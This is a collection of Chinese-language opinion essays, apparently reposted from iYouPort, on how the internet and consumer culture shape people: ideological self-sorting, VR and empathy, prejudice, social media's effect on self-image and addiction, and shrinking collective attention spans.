波特兰市极富参与精神和城市文化，集市上你能看到很多向路人宣传各种内容的积极人士，比如无家可归者的收留问题、自行车道问题、同性恋婚姻问题、雇员和老板之间日益深化的利益冲突问题、含氟饮用水问题等等。对自我认知的高度重视是鲜明的主题，2011年有一部美剧叫《Portlandia》，波特兰的现实生活就跟这片子里表现的一样。自行车骑行地图不仅有英文版的，还有西班牙语的、索马里语的、尼泊尔语的、缅甸语的和阿拉伯语的，整座城市的气氛稳健真诚，这里的人明显具有更多的责任心和同理心。

这个城市的非主流人士中绝大部分是从其他不同城市搬来的新居民，对于搬迁他们各有各的具体理由，但存在一个强大的共同属性就是：文化难民——原先居住的地方令他们感觉空虚寂寞、找不到自我，于是他们逃离了。

在美国，Portland并不是唯一一个文化难民的聚集地，2008年（也就是被特朗普主义霸占的美国大选之前的六年）时，Bill Bishop在他的先见性著作《The Big Sort: Why the Clustering of Like-Minded America Is Tearing Us Apart》中就提到了：奥斯丁、波尔德、麦迪逊等城市已逐渐成为左翼人士的聚集地，而保守派人士则居住在橙县、斯普林斯、伯明翰和休斯敦等地区。在这本书写成之前，这种“为了一系列生活方式而搬迁”的现象就已经出现并持续很久了，也于是，人们越来越多的认为预测投票率很简单，只需要在地图上从南到北划一条线，看一眼该选民的邮政编码就能猜个八九不离十。

本文的重点当然不是美国人搬家，而是更为广泛的时代性思维方式——人们会选择那些能够高效提供精神回报的地方，作为常居地。对更为现实的中国人来说，搬家总会牵扯到太多的生活问题，比如工作、孩子求学、老人养老等等，但这并不代表中国人就没有对精神回报的需求，社交网络小圈子正在很好的填补人们这部分的心理空洞。

这就是本网上一篇文章引发争议的原因。因为这篇文章中所指的群聊并非私人化的小圈子，而是那些公共层面上的、有望发展为真正意义上的社群的组合。理论上，社会功能下降的时候，社群能力就会上升，但数字时代似乎打破了这一规律。曾经和一家国际人权组织探讨“中国社群”的问题时，我说中国目前还没有真正意义上的社群，不论是虚拟的还是现实的，民间社会缺乏活力在眼下这个时代的原因就是个性化的自我表达欲求高升到偏执的结果，这里只有各种各样的个人化的小世界。

阿喀琉斯之踵

商业和技术都在剥夺你与不同背景不同观点的人接触的机会，你也很高兴于此，群里有看不顺眼的人怎么办？要么踢出去要么自己退群，很简单。渐渐的，你的眼界越来越小。

最近又拉黑了多少人？

没错，这个世界上存在着各种各样的“地点”，不论是现实的还是虚拟的，它们都能够根据你的个人需要来选择与世界接触的渠道。这就是

消费者经济的基础，它看起来是如此的自我和自由，充满魅力。叔本华说“人们总是把自己视野的极限当作世界的极限”，而消费者经济则拼命的告诉你：你的眼界的确就是全部世界。

也正是这种个性化的权力成为了这个时代的阿喀琉斯之踵（Achilles’ Heel）：整个市场都在更加高效的满足你的个人偏好，帮你规避一切不想面对的东西，就如同将自己投身于沸水之中。众所周知，2008年的美国金融危机根源就在房地产市场的泡沫破裂，而少有分析到的是，当时曾经出现了的非常明显的现象——超高效的金融系统在竭力帮助人们充分享受“成功”的生活方式，同时规避了一切会令你不舒服的东西——比如事实上你根本无力负担这种生活方式，这就是为什么前面的成功二字需要加上引号。当下中国的金融系统和地产业联手正在重蹈这个覆辙。

政治两极化只是所有代价中的一小部分。对个性化的强烈欲求会产生巨大的风险，而这种风险表面上看起来非常微妙：你越是把自己封闭在个人化的生活方式和经验中，就越难以接受任何稍稍不如意的东西。变得更加偏执极端。

你无法摆脱一个冰冷的事实：生活中某些最重要的东西、面临的最大挑战，既不是个人化的也不受个人控制。相反，它们是固有的、集体的、并且常常是令人不快的。

美国社会之所以没有分崩离析是因为美国人曾经很务实，人们知道离开社群的帮助，个人的利益很难实现，与他人联盟可以为自己带来好处。当年罗斯福新政中提倡的社群主义精神其实隐藏了对自我牺牲的要求，然而自由主义抬头，人们开始反驳这种观点了。特朗普时代的种种瞋目并非一日之寒，在肯尼迪总统发表的“不要问”演讲后，弗里德曼的著名嘲讽，就已经暗示了美国社会今天的模样。

（未完待续）

原文

冷漠机器 - iYouPort

你如何正在被互联网所改变-媒介效应

这有可能是一个不讨喜的反驳，对VR感性论的回应，这种论调随着更多积极的目标借此的实现，而在业内外舆论中变得伟大，事实上它存在严重弊端，为什么？

正如斯坦福大学研究员杰里米·拜伦森（Jeremy Bailenson）的书中提到的那样，虚拟现实的支持者喜欢声称沉浸式技术可以提供“按需体验”，它可以让你“成为别人”，他在演讲中说，这也意味着你可以在你想要的任何时候摆脱它，这是一种现实无法实现的奢侈感受。

但虚拟现实的按需方面似乎与另一个关于它的共同主张相冲突，即 它是一个“移情机器”，沉浸不可避免地将观众置于另一个人的角度。“移情”是迄今为止描述 VR 的主要应用之一的奇怪方式，就像一种军事训练技术，用于在战斗中培养士兵习惯于杀戮。“这里有一些问题，” Bailenson 自己也承认这点。

通常情况下，在临床研究中，接受移情培训的观察者会接触到其他人的不幸状况，然后进行测试，看看他们是否更愿意为此做些什么。Bailenson 描述了将观众沉浸在无家可归者的体验中七分钟，这使他们更有可能立即签署请愿书，要求更多的税收来帮助贫困人口。

但是，如果我们选择拥有特定的体验，那么体验会不会变成商品化的消费品而不再是道德课？或者更确切地说，这是否在告诉我们可以按照自己的需求选取道德感受？这就是游戏开发者 Robert Yang 将 VR 描述为共情机器而不是“移情机器”的原因。

“如果你不相信某人的痛苦，就算将他们的痛苦作成一部实感的VR视频也没用，也许你真的不关心他们的痛苦……虚拟现实的体现并没有抹杀政治分歧”，他写道。为什么 VR 支持者会幻想一种让政治变得多余的技术呢？为什么容易将情感体验的敏感性与仁慈混为一谈？

同情心自动产生美德的假设至少可以追溯到亚当·斯密的“道德情操论（1761）“，以同情和礼仪的角度切入。正如斯密解释的那样，一个

人目睹另一个人的状况，并立即进入一种同情的状态，即便这违背一个人的意愿。“在人的头脑易受影响的每一种激情中，旁观者的情绪总是对应于自己的情感，他是在想象受害者的情绪。”在这个过程中，美德来自监测，你必须先看到痛苦，以确认你会以适当程度的同情情绪做出反应。

但斯密的提法中的“想象”这个词似乎很关键：你把它归于对方，然后用作自己感受某种方式的理由，听起来很像投射。对方的实际感觉在此是不相关的，当然没有必要尊重他们最终不可避免的差异。相反，正因为我们禁不住会感受到别人的感受，因此，让他们“感觉更好”，就成为了我们自私利益的一部分。

正如文章所暗示的那样，斯密的理论源于一种哲学，它假定了一种天生的“道德感”，它允许我们本能地理解什么是对什么是错。道德感主要表现在对礼仪的掌握方面，使贵族习惯成为内在美德的“证明”。由于本能的情感是仁慈的，我们感受到的越强烈（因此我们展示它们的能力越强），我们就越被认为有道德。从这个角度来看，道德变成了一种自发的反应，而不是一种道德推理的过程。

虽然是一种天性，但道德感也可以通过训练获得，变得更加“善良和人性化”，通过反复接触一系列可怜的情况，学会“最精致的感受”。在18世纪后期，这种观念在英格兰的流行导致了所谓的感性崇拜，这是文学品味的一个时代，那个时代伴随着小说作为商业产品的第一次繁荣。

感性“是一个重要的、几乎是神圣的词”，文学学者 J.M.S. Tompkins 写道，“现代品质”是“现代条件的产物”，其中包括更广泛的读写能力和文化品味的传播。

感性的概念从未被精确定义过，但总体上表明了自发的替代感的能力，类似于VR支持者所说的同理心。它类似于文艺复兴时期的 sprezzatura 概念，一种本能的魅力和礼仪，但更加被动，强调精细的锻炼情绪以应对悲惨的情况。这是一个观察和反应的问题。

感性时代的小说作为一种测试手段：如果你的心没有对此产生足够的反应，那么你的道德感可能被认为是微弱的，你可能不像你所希望的那样有道德。

这使它与这个时代蓬勃发展的娱乐业联系在一起了。实践中的“情感”变成了阅读特有的情感，小说和流行读物通过为读者打包情感体验而获得繁荣。感性时代的小说描绘了旨在引发强烈和无拘束的情感

反应的情境，提供这种情境让读者通过替代感受来展示他们的“同情之心”

正如 Tompkins 所指出的那样，如今的这种情况经常比利他主义更为自我中心主义，“我们一次又一次地发现那种自我怜悯的巨大魅力，在这种情感中，读者的自我从眼泪中浮现出来，一边确幸着自己能够置身事外“。

如果叙利亚儿童难民经历的VR体验没能让你想捐款给联合国儿童基金会怎么办？幸运的是，有抱负的文艺作者（和读者）学到了情感散文的语法，能引发正确感受的关键词和场景，以及能证明一个人内在价值的同情眼泪。

感性小说试图教导读者如何在文本本身中欣赏它们—从而展示其道德适应性。通常它被叙述为情节的组织和驱动力。阅读本身经常被戏剧化，就像书信体小说一样，在那里你就像站在主人公的肩膀上，并为你塑造了情感影响。

它们教会消费者如何在孤独中享受生活，享受独处。它们有助于规范隔离，使我们看起来有可能、甚至是有必要拥有一个自己的小世界，这个小世界努力让我们彼此分开、并专注于各自内心纯粹的个人乐趣，只有抽象的流派惯例连接我们和其他人。因此，只有符合这种类型的期望，人们才能让自己在道德上清晰易读。

感性阅读意味着将自己从社交互动中移除，进入一个假装亲密的私人幻想世界。为了解决这个问题，小说家们曾经试图采用社会教化类的内容来赎回小说本身。正如 Richardson 所意识到的，教人们写作是教会人们如何思考的最有效方式，更重要的是，教会人们应该感受到什么。

但是，添加说教会并没有真正解决问题。如果你感受到的只是小说中的人物所感受到的东西，你仍然沉迷于同样的情感短路，绕过对实际其他人的需求作为情感回应的先决条件。读者适应的是文本而不是社会规范。

私人的、亲密的快乐和它应该锚定的社会性之间的紧张关系仍然存在。在人们准备自己的消费时，会完全习惯于消费其他主观性。在“冷酷的亲密关系”一书中，社会学家 Eva Illouz 称这种中产阶级专业为“情感能力”—能够以其他资产阶级能够理解和使用的方式自我分析和传达一个人的情感，并阅读彼此的情感以建设性的方式作出回应。

这种习惯不仅是个人关系的必要条件，也是高地位工作的必要条件：情感能力成为了情感资本。“现在有了新的情感幸福等级，被理解为实现社会地位和历史地位的能力。”然而，与感性一样，情绪能力决定了情绪，使其受到有意识的操纵。它本身冻结了情感，即使它向我们自己展示了适当的情感。

使 VR 能够引起同理心的逻辑是相同的，也具有使移情成为商品、并使其成为技术技能的效果。能够表现同情的情感能力具有社会经济价值，它将一个人的潜力指定为情感资本，能够机会性地操纵情绪状态以实现目标和积累力量。由此，我们的共情反应不再是运用道德感，正相反是建立了一个反对自身美德的案例，反而表明我们所有的情感都是自私自利的。〇

原文

恶性偏见和无实效的争议 - iYouPort

你如何正在被互联网所改变-媒介效应

目睹过很多无厘头的争论，其中有些是我可以了解到双方的，只可惜他们双方之间互不了解也没兴趣去了解，于是变成了滑稽的对峙。一定程度上，它是在浪费时间，唯一有效的是促进了双方的知名度－－逆向宣传。

「图」

「图」

1980年，一群以色列人和埃及人被召集到美国，出席旨在缓解中东地区政治紧张局势的一次会议。在某段时间，一位来自开罗的历史学教授主导了讨论过程，他激烈地赞成巴勒斯坦建国，认为这样做很有必要。最终，他被一位来自耶路撒冷的精神病学家打断，她问这位教授：如何说服她不对巴勒斯坦国心存恐惧？她回忆了在1929年，她所在的社区遭到阿拉伯人的袭击，尽管美国人承诺保护他们，但袭击事件还是发生了。当时，这位埃及历史学家回答说：“我相信你们以色列人不会感觉害怕，以色列人从来都不会害怕”。

分析人士经常引述这个故事来说明：政治和民族冲突是如何引发了一种去人性化的过程。类似的例子其实数不胜数，以色列人和阿拉伯人之间、塞尔维亚人和克罗地亚人之间、黑人和白人之间、汉人和维族人之间、什叶派教徒和逊尼派教徒之间……圈子和圈子之间。

近来发生在Carolina的暴力平权事件将歧视问题再次推到舆论风口，twitter和facebook上”blacklivesmatter”的标签持续高热，浏览相关舆论足够体察现实中的冲突是如何的强烈。

美国精神病学家Erik Erikson创造过一个比较费解的词：pseudospeciation（伪物种），来描述人们再熟悉不过的情境，在这种情境里，人们最终会相信自己是一个不同物种的成员，并与其他群体相区别，其他的种族、宗教和民族团体不再值得尊重和理解。

对偏见的心理学分析有很多理论，今后有时间可以慢慢聊，本文将着眼基于偏见的潜意识动机。中国人的歧视问题很严重，它已经不限于不同肤色和民族之间，也包括阶层之间、职业等级间、性别间甚至健康和残障之间，最有趣的是，不同圈子之间的歧视，双方的中心意见可以在互不理解的状况下展开争执，根本无需倾听对方，哪怕在第三方看来他们之间有很高的共性。

不少学者从不同学科角度分析过歧视问题，中国研究者则认为是霸权主义意识的表现形式，来自教育、生活环境和经历，其实都对，或者说它是多重因素综合的结果。

偏见是一种很普遍的现象，在最简单的水平上看，它来自于人们大脑中创造分类的方式，这些分类是我们适应现实的一部分。我们在潜意识的运作中看到，当将新的概念同化到旧有分类中时，我们是如何自动化地出现了偏见－－在这里，偏见意味着将新的认识纳入旧的分类。

当人们根据民族和种族的分类来使用潜意识时，我们会发现，这些分类在最后不可避免的变得不公或歪曲事实，但我们难以阻止自己这样去做。

在更高级的水平上，正常的偏见来源于将那些我们认识的、可以依赖的人从那些我们不认识的人中分离出来的需要，比如，一个2岁的正常孩子在面对陌生人时会哭，伦敦大学心理学教授Peter Fonagy指正常依恋研究中观察到：偏见是应对依恋中不安全感的基本反应方式。

也因此，偏见不会消失，它是被构建在我们的常规反应当中的。那些宣称自己不会受到偏见影响的人至多只说出了一半的事实，即不至于把偏见付诸实施，很显然，这是一个需要意识介入的领域，意识帮助我们压制或重构潜意识的行为反应，并制定其他行为方案。

「图」

「图」

当正常的偏见被扩大化并付诸行动时，就会出现恶性偏见，它经常涉及身份问题。当群体成员否认自己不愿意看到的属性时，他们通过处理这类想法和认识来净化之声，并进一步把这些属性投射到被歧视群体身上－－攻击不同意见、种族和阶层，贴标签、扣帽子，甚至抹黑构陷，对那些可证伪自身观点的信息和凭据视而不见。

那些令人发指的形式早已不再陌生，偏见导致的种族歧视、种族清洗在历史书和博物馆里时刻等待着提醒人们警惕它的危害。自杀式爆炸袭击者能没有什么心理负担的地去毁灭无辜的人，那些被袭击者在他们眼中是“与自己不同的物种”（pseudospeciation）。

必须指出的是，去人性化并不是冲突的唯一原因，经济上的自私自利（中国说日本人都是军国主义流氓）、国家安全面临的压力（欧美对穆斯林移民的警惕）、转嫁人群不满情绪的需要（金正恩要核平韩国）等等都可以用来解释冲突的产生，深刻的非理性冲动和幻觉不可避免的伴随着冲突的始终。

我一直对直面反驳的效果报以怀疑，尤其是指名道姓的反驳，它最大的可能性是加深对方对自己的信任。论述是必要的，持续性的各自论述总有机会发生交互，但如果你在第一时间便令对方认你为敌对，一个标签／偏见就形成了，此后你即便讲得再正确，你的所有言论都将被贴在这个标签下审视，它不可能公正。

目睹过很多无厘头的争论，其中有些是我可以了解到双方的，只可惜他们双方之间互不了解也没兴趣去了解，于是变成了滑稽的对峙。一定程度上，它是在浪费时间，唯一有效的是促进了双方的知名度－－逆向宣传。

世界上存在着很多真理，同时又不存在真理，潜意识视角使一件事变得清晰，那就是我们的真理在不断的变化。所有的知识都是假设性的，而所有的假设都注定被补充、修正或反驳。矛盾的是，对许多潜意识领域的理解促使我们更加关注事物的表面，虽然很多道理隐藏在深处，但为了达到我们的目的就只能先走在地面上。

心理学希望人们能对人的局限保持一种认识和接纳的态度，努力避免不成熟的自傲和轻信，并保持好奇心。如果我们能专心倾听自己，就经常能获得一些微弱的信号，它将向我们指明正确的方向。

原文

扭曲的自我：社交媒体世界 - iyouport

你如何正在被互联网所改变-媒介效应

社交媒体让人们对自己的真实身份感到害怕。这是为什么？神经科学解释了原因 -- 并赋予人们反击的能力。

列维·杰德·墨菲对着镜头微笑着。这是一个强大的外观：明亮深邃的蓝眼睛，高颧骨，饱满的嘴唇和锋利的下颚线 —— 他说，实现所有这些花了他大约3万英镑。

墨菲是一名来自英国曼彻斯特的“影响者”（网红），在社交媒体上有大量的粉丝。谈到他增加粉丝的方法时，他说，如果一张照片在规定时间内没有收到一定数量的“赞”，就会被删除。他的整容手术只是实现快速反馈效果的一种方式：“对于……社交媒体来说，好看是很重要的，因为显然我想吸引观众”，他说。

他与社交媒体的关系是法国哲学家居伊·德波（Guy Debord）在其经典作品《景观社会》（1967年）中表达的担忧的一个突出表现。德波写道：“社会生活正在从‘拥有’转向‘显现’—— 所有的‘拥有’现在必须从显现中获得其直接的声望和最终的目的。同时，所有的个人现实已经变成了社会性的”。

简单说，就是“晒”，“表演”。请注意，这里说的是“所有”，不论是名人还是普通人，不论是政客还是公民。

- 如果您错过了《景观政治》（*2019*）
- 《中国政府已攀上景观政治的边缘》（*2017*）

德波认识到个人越来越受到社会力量的困扰，鉴于后来社交媒体的兴起，这是一个非常有预见性的观察。但作为一个在20世纪60年代写作的政治理论家，德波可能很难理解这种对表象的转变会如何影响人类的心理和福祉，以及为什么像墨菲这样的人可能觉得需要采取激烈的行动（整容）。

- 如果您错过了，对于该问题最典型的一个观察窗口《色情网红

的崛起》

今天，社交媒体与一系列的心理健康问题有牵连。英国皇家公共卫生学会2017年的一份报告将社交媒体的使用与抑郁症、焦虑症和成瘾联系起来。一些曾经的网红已经转向反对他们的平台，并选择强调在现实中很少被认同的自我形象的危险性。同时，一些平台已经试验了旨在保护用户心理健康的设计调整，如限制帖子上“赞”的可见度。

围绕社交媒体的担忧已经成为主流，但研究人员尚未阐明具体的认知机制，以解释它对我们的心理健康造成的损失。然而，计算神经科学的新进展正准备阐明这一问题。一些社交媒体平台的架构采取了一些科学家现在称之为“过度刺激器”的形式 —— 有问题的数字传递系统，用于心理奖励和潜在的成瘾刺激。根据神经科学的一个领先的新理论，即 预测性处理，过度刺激物可以与特定的认知和情感机制相互作用，产生我们今天看到的各种病理结果。

预测处理理论将大脑描述为一个“预测引擎”—— 它不断尝试预测它在这个世界上遇到的感官信号，并将这些预测和传入信号之间的差异（称为“预测误差”）降到最低。随着时间的推移，这样的系统会建立一个“生成模型”，即 对我们周边环境中的统计规律性的结构化理解，用于生成预测。

这个生成模型本质上是对这个世界的心理模型，包括即时的、特定任务的信息，以及构成我们自我叙述感的长期信息。根据这个框架，预测系统以两种方式将预测错误降到最低：要么更新生成模型以更准确地反映世界，要么调整行为方式使世界更符合其预测。这样一来，大脑就构成了一个体现性预测系统的一部分，它总是从不确定性转向确定性。通过减少潜在的有害意外，它维持人们的生存和良好感觉。

考虑到人的健康和预期体温为37℃。任何一个方向的转变都会被记录为预测误差的飙升，向生物体发出信号，表明它正在进入一个意外的、因此可能是危险的状态。预测误差的增加会反馈给人，使人感到不适、紧张，并倾向于做一些事来更好地预测和把握现实。你可以只是坐在那里，接受体温的变化（更新你的生成模型），或者，你可能伸手去拿一条毯子或打开一扇窗户。在这些情况下，你所做的是对周边环境采取行动，对世界进行采样并改变你与它的关系，以使自身能够回到可接受的不确定性的范围内。

根据预测处理的新情况，认知和情感是同一个预测系统的紧密交织的方面。预测错误不仅仅是一个计算系统中的数据点。相反，上升的预测错误对你来说会感觉不好，而解决符合预期的错误则感觉不错。这

意味着，作为预测性生物体，人在积极寻求可控的预测错误 —— 可控的不确定性，因为解决它能让你感觉良好。

最近在COVID-19封锁期间，拼图的销售量上升，证明了人们对可控的不确定性的喜爱。这些感觉的演变是为了让我们很好地适应环境，帮助我们好奇地摸索出新颖和成功的生存策略，同时也避免了失控的不确定性所带来的所有压力和不愉快。这种与环境的积极、递归和感受的关系，对于理解社交媒体如何损害我们的心理健康，以及为什么我们经常发现停止使用社交媒体是如此困难，是至关重要的。

从预测处理的角度来看，生活得好意味着能够有效地管理不确定性 —— 而这是以拥有一个能够准确代表世界的生成模型为前提的。一个生成模型如果不能很好地反映环境的规律性，将不可避免地导致不良预测的增加，以及大量难以解决的错误。

预测处理理论家开始对心理健康状况进行新的描述，重点关注一个人的生成模型的有效性。例如，抑郁症被描述为一种“认知僵化”的形式，即 系统不能调整它对来自世界的纠正性反馈的敏感程度。对于心理健康状况良好的人来说，情感反馈使他们能够灵活地调整自己的期望：有时，将预测错误“注销”为只是噪音，而不是将其视为要求改变周边世界生成模型的东西，这是有意义的；而在其他时候，因为错误而改变我们的生成模型是有意义的。在抑郁症中，研究人员假设人们失去了这种在更多或更少的“敏感”状态之间来回移动的能力，这导致预测错误的上升和无法控制。最终，我们开始预测自己的行动的低效和失败 —— 这反过来又成为了一个自我强化的预测，我们从确认中获得一些最低限度的满足。在抑郁症患者的层面上，这表现为无助感、孤独感、缺乏动力和无法在世界中找到快乐等感觉。

社交媒体是扭曲我们的生成模型的一种非常有效的方法。它用关于你周围的世界和你是谁的坏证据使它们超载。“存在”与“表现”之间的空间可能是巨大的 —— 只需轻扫几下，你就能极大地改变自己的外表，或者把同一张照片重拍20次，直到你的脸准确地散发出你希望投射出的对生活的平静掌握。随着社交媒体平台开发出更多允许人们不真实地展示自己的功能，这些平台成为更强大的坏证据生成器，用不准确的信息充斥着用户的预测系统，告诉人们世界上充满了不可能的美丽、幸福的人，过着美妙的奢华和悠闲的生活。

通常情况下，在离线世界中，我们的生成模型和预期是用从直接（未经过滤）的环境中传来的信息编码的，这意味着大多数时候，模型准确地反映了世界。然而，在定期和大量接触社交媒体的情况下，传入的关于世界的信息是经过精心挑选的、被策划和改变的 —— 我们有

可能正在与一个幻想接触。关于德波担心的从真实性到表象的转变，社交媒体平台就像一个数字撬棍，将我们的生成模型从离线环境中撬开。相反，我们对现实世界的模型会接受通过在线模型产生的期望，其结果是越来越难以控制的预测错误，系统现在必须努力将其降到最低。

本文开头提到的那个网红墨菲的看似极端的行为，是解决这种预测错误的一种策略。最近的一项调查发现，超过半数的整容医生都遇到过病人明确要求他们做那种能提升网上形象的手术，而一些外科医生也报告说，病人用自己的被**PS**过的图片作为他们希望的整形效果的例子。网红墨菲描述了滤镜如何让他“预览”自己整容手术的效果，虽然 **Instagram** 现在已经禁止了这种特定的滤镜，但许多其他应用程序都有类似功能。

所谓的“Snapchat式手术”在预测性处理理论框架内是非常合理的。如果一个人习惯了自己被篡改的外表，并接受与之相关的所有反馈，那么很快，离线可用的验证水平将被标记为安装预测错误。这很可能会导致压力和不足的感觉。通过预测处理的镜头，你可以看到，让手术看起来更像一个过滤过的图像，只是系统在做它一直在做的事：这与温度开始下降时抓起一条毯子没有区别。我们正在对世界进行采样，以使我们回到预期的状态。但社交媒体能够颠覆我们的自我形象，以至于纠正错误和满足这些期望的唯一方法是通过手术改变自己的样子。

但请注意，这种情况下的风险有多大。如果我们无法解决这个错误，并继续与社交媒体打交道，那么这种持续的失败会反馈给我们，最终教会我们去期待自己的失败。通过一连串的二阶预测 —— 对我们准确预测（或不准确预测）的能力的预测 —— 我们将意识到自己的行为的预期效用。而当我们的行动持续失败时，就会对这些行动失去信心。最终，我们降低了对成功的预测，觉得这是一种完全无望的感觉。这正是前面提到的研究抑郁症的神经科学家所描述的情景：如果我们一直达不到自己的期望，然后又不能重新调整这些期望，我们就会期待自己的行动失败。社交媒体上不真实的内容，美丽和奢华的图像，可以将这些预测固定下来，使我们更难根据现实世界的反馈重新调整对自己生活的期望。因此，社交媒体会让我们陷入困境：要么让世界与我们的新期望保持一致，要么就是，有可能滑向抑郁和绝望。

当然，还有一个更明显的方法来缓解这些问题：少花时间上网。对我们中的一些人来说，这说起来容易做起来难，因为越来越多的证据支持社交媒体可能会成瘾的怀疑。2015年的一项综合调查将社交媒体成瘾定义为对社交媒体的过度关注和使用动力，损害了生活的其他领

域，并发现大约10%的用户表现出成瘾症状。有趣的是，这与有酒精成瘾问题的人的比例差不多—— 但是，虽然酒精的成瘾性相对来说很好理解，但社交媒体的成瘾性却不那么容易理解。预测处理可能再次成为理解特定平台的特征如何产生这种影响的关键。

预测处理理论提供了一种对成瘾的新理解，即 预测系统与环境之间的协调性脱轨。生活中包含许多奖励，而大脑将这些奖励体验为实现预测错误的减少：与流行的看法相反，奖励不是来自多巴胺本身，而是伴随着误差的减少。像多巴胺这样的神经递质只是对我们学习到的预期会带来这些奖励的行为进行编码和巩固。现在，就像各种成瘾药物一样，数字技术的发展前景正在破坏奖励和行为之间的这种关系。

科学作家加里·威尔逊（Gary Wilson）在他的重要著作《你的色情大脑》（2014年）中认为，互联网色情制品本身具有危险的奖励性，是一种“过度刺激”的例子。威尔逊指出，只需要一个晚上，网络色情就促进了我们的祖先在整个人生中都无法获得的性新奇水平：多个标签或窗口，数百个不同的模型，不断升级的癖好，所有这些都密谋让人们头脑中的奖励电路尖叫“天呐，我们正在做的远比我们想象的好！”而实际上我们只是独自盯着一个屏幕而已。新奇的东西特别诱人，因为我们的大脑总是在寻求减少错误的新方法，寻求比预期做得更好的新方法。我们的大脑将此登记为对不确定性的巨大解决，我们大脑中的奖励回路进入超速状态，强化了这些特殊的奖励寻求行为。

就像色情制品对性的影响一样，社交媒体平台对我们内在的社交欲望的影响也是如此。参与有意义的人际关系，可以利用上面提到的所有奖励回路：社交的感觉很好，多巴胺对成功的社交行为进行编码学习。社交媒体和色情制品之间的一个主要相似之处是，两者都是一个强大的工具，将精心策划的幻想，呈现为一个可实现的现实。这些“比现实生活更好”的场景（例如，精心策划和过滤的图像；色情作品中最大限度的令人兴奋的性接触）对总是在寻找改进方法的预测者来说是非常诱人的。在社交媒体上，就像在线色情一样，高水平的新奇和过度意味着奖励系统被踢到了超速的状况。难怪2019年的一份报告发现，现在美国的青少年平均每天看屏幕的时间超过7小时。通过社交媒体，超强的刺激作用于重组人们的预测模型，重塑人们的习惯：想想你自己，是不是一醒来后就会伸手去拿手机，没有手机就不会离开家，即使在朋友的陪伴下，也会不断感到被手机吸引。

然而，社交媒体的过度刺激效应并不仅仅来自于过量的精心编辑的内容和潜在的大规模社会反馈。它还来自刻意的设计特点—— 这些特点使社交媒体更接近于赌博，而不是色情制品。在赌博中，令人振奋（和形成习惯）的是对奖励的预期，或对不确定性奖励的期待。是

的，离线社交互动往往也是不可预测的，因为我们不知道某人何时会与我们联系或以有价值的方式与我们互动 —— 但是，社交媒体网站通过游戏化设计来增加这种预期，其中诸如进展、积分和冒险的功能被引入到非游戏的环境中。社交媒体将社会互动游戏化，主要是通过各种高度互动的 “点赞”、“分享”、“加1”、评论等系统，这些系统适用于用户创建的内容。这种反馈是衡量一个特定帖子的 “成功” 的直接标准，并允许在帖子和发帖人之间进行人气比较/竞争。

> 德波是对的：表象与现实的脱节会造成深远的伤害……

此外，当反馈确实到来时，它并没有立即传达给用户。相反，我们收到的通知是以闪亮的按钮或令人兴奋的声音的形式出现的，这延迟了发现传入内容的确切性质。按下按钮揭示信息的简单行为已被证明会引发兴奋和强迫行为，而智能手机上新开发的功能则进一步增加了预期的层次。例如，Facebook 应用程序的新闻源的 “刷新” 功能，用户通过物理刷屏来产生新的信息流，是一个惊人的类似于拉动赌场老虎机手臂的动作。在每一种情况下，用户在刷屏之前都不确定会出现什么样的内容。这一特点，加上 Facebook 的信息流现在实际上是无限的，导致该应用程序被描述为 “行为可卡因”。

值得注意的是，数字空间如何消解了制约线下互动的时间和空间限制，提供了现实世界中根本不存在的过多新奇和验证。即使是适度成功的 Instagram 账户，也可以有4万到10万的追随者；用户可以立即与完全陌生的人交换私信；当用户对他们目前互动的内容感到厌烦时，快速刷新或留言就会产生新的、令人兴奋的、不可预知的内容。这些结构性特征—— 故意引起预期状态，并促进近乎无尽的新奇潜力—— 是简略化的社交媒体成瘾的说法往往没有认识到的东西。

德波的担忧是正确的：外表与现实的脱离会对人们的福祉造成深远的伤害，并促使人们采取激烈的行动。也许德波对这些焦虑的看法最精辟地概括为网络俚语 “无图无真相”：经验本身完全由它们在社交网络上传播的外观构成。此外，德波认识到，这些危害并不是从真空中出现的。社交媒体的危险不仅在于内容的不真实性，而且在于这些不真实的东西抓住你的内心的能力。有一种强大的力量推动着社交媒体的蓄意设计，那就是它们巨大的货币化潜力。正如设计大师 Nir Eyal 在 “Hooked”（2014）中写道：“公司越来越发现他们的经济价值是他们能操纵人类习惯的力量的函数”。

- 如果您错过了《不知不觉中，你已经变成了别人—— 社交媒体如何改写了你的记忆》（*2017*）

如果事实证明，使用过度刺激剂会导致成瘾和抑郁等症状，而且只要更多的参与意味着更多的利润，那么社交媒体的设计者就会对实施导致人类痛苦的设计有实际的兴趣。这种新出现的科学情况增加了越来越多的共识，即 数字过度刺激剂对我们的健康构成了威胁 —— 并为那些呼吁改变社交媒体的设计、运营和监管方式的声音提供了力量。○

The warped self

原文

注意力萎缩的世界，之后呢？ - iYouPort

你如何正在被互联网所改变-媒介效应

互联网不再是实现现实变革的希望；因为它与现实世界分离了，并且，它不断抢夺人们对真正的现实的关注能力。如果你不能集中精力在任何一件事上，不论是有重大意义的事还是简单的消遣，其结果是什么？

「图」

「图」

根据丹麦技术大学最近的一项研究，由于超连接世界中的信息严重过载，人们的注意力正在不断快速萎缩。

在社交媒体、“繁忙的新闻周期”、和人们所做的其他事之间，基于所研究的几个指标得出结论，人们在各种主题上所花费的时间都在明显减少 —— 不管是娱乐、谷歌搜索、Reddit评论、还是其他任何在线领域。

“我们想要了解哪些机制可以推动这种行为。我们设计了一个基于三个基本成分的数学模型：’热度’、时效性、和对新事物的渴望”，PhilippHövel 博士说，他是科克大学应用数学讲师。

该模型为他们的观察做出了解释。

当互联网在更短的时间内产生出更多内容时，这种情况会快速耗尽集体的注意力。由于对新奇事物的激烈竞争，一个主题紧接着下一个主题，每一个主题的公共利益峰值都变得非常短暂。

简单说，互联网上几乎没有任何内容能激励现实中的变革。

“该模型中的一个参数是输入率—即 信息的丰富程度。过去几十年来这个世界的连接变得越来越紧密。这意味着内容的数量一直在迅速增加，这使人们的注意力被消耗殆尽，人们对“新奇”的渴望只会使人们

更快速地在不同主题之间迅速切换。

该研究的指标之一是用于推广主题的流行“主题标签”，在 Twitter 的“全球50强”排名中能保持多久。

2013年，主题标签能保持在前50强列表中平均 17.5 小时。 2016年，这个数字减少到了 11.9 小时。当然，2016年的美国大选是足够混乱的，若非此选举，上述数字只会下降得更快。

「图」

「图」

自2016年大选以来，新闻周期一直在持续不断的戏剧化—左派坚持认为特朗普是一位非正式的、不合适的总统，在弗拉基米尔·普京的帮助下当选，而右翼坚持认为左派是阴谋论家组成的智商欠费党派。

除了特朗普—俄罗斯门歇斯底里主导的新闻周期之外，所谓的热点还可以加上恐怖主义、大规模移民、对气候变化不断发出的警钟、以及2020年民主党候选人试图互相攻击 ……难怪人们无法再像以前那样集中精力了。

